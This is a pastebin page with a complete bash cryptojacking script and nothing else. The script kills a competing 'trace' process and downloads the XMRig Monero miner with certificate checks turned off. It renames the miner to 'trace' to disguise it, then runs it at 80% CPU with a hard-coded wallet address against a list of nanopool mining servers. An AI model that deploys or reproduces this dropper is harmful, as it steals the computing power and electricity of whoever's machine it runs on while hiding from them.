SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/bin/bash | |
| 2 | ||
| 3 | if pgrep trace; then pkill trace; fi | |
| 4 | ||
| 5 | threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
| |
| 6 | hostHash=$(hostname -f | md5sum | cut -c1-8); | |
| 7 | echo "${hostHash} - ${threadCount}";
| |
| 8 | ||
| 9 | rm -rf config.json; | |
| 10 | ||
| 11 | d () {
| |
| 12 | curl -L --insecure --connect-timeout 20 --max-time 400 --fail "$1" -o "$2" 2> /dev/null || wget --no-check-certificate --timeout 400 --tries 1 "$1" -O "$2" 2> /dev/null || _curl "$1" > "$2"; | |
| 13 | } | |
| 14 | ||
| 15 | test ! -s trace && \ | |
| 16 | d https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \ | |
| 17 | tar -zxvf trace.tgz && \ | |
| 18 | mv xmrig-5.0.0/xmrig trace && \ | |
| 19 | rm -rf xmrig-5.0.0 && \ | |
| 20 | rm -rf trace.tgz; | |
| 21 | test ! -x trace && chmod +x trace; | |
| 22 | ||
| 23 | k() {
| |
| 24 | ./trace \ | |
| 25 | -r 2 \ | |
| 26 | -R 2 \ | |
| 27 | --keepalive \ | |
| 28 | --no-color \ | |
| 29 | --donate-level 1 \ | |
| 30 | --max-cpu-usage 80 \ | |
| 31 | --cpu-priority 3 \ | |
| 32 | --print-time 25 \ | |
| 33 | --threads "${threadCount:-4}" \
| |
| 34 | --url "$1" \ | |
| 35 | --user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \ | |
| 36 | --pass x \ | |
| 37 | --coin xmr \ | |
| 38 | --keepalive | |
| 39 | } | |
| 40 | ||
| 41 | k xmr-asia1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444 |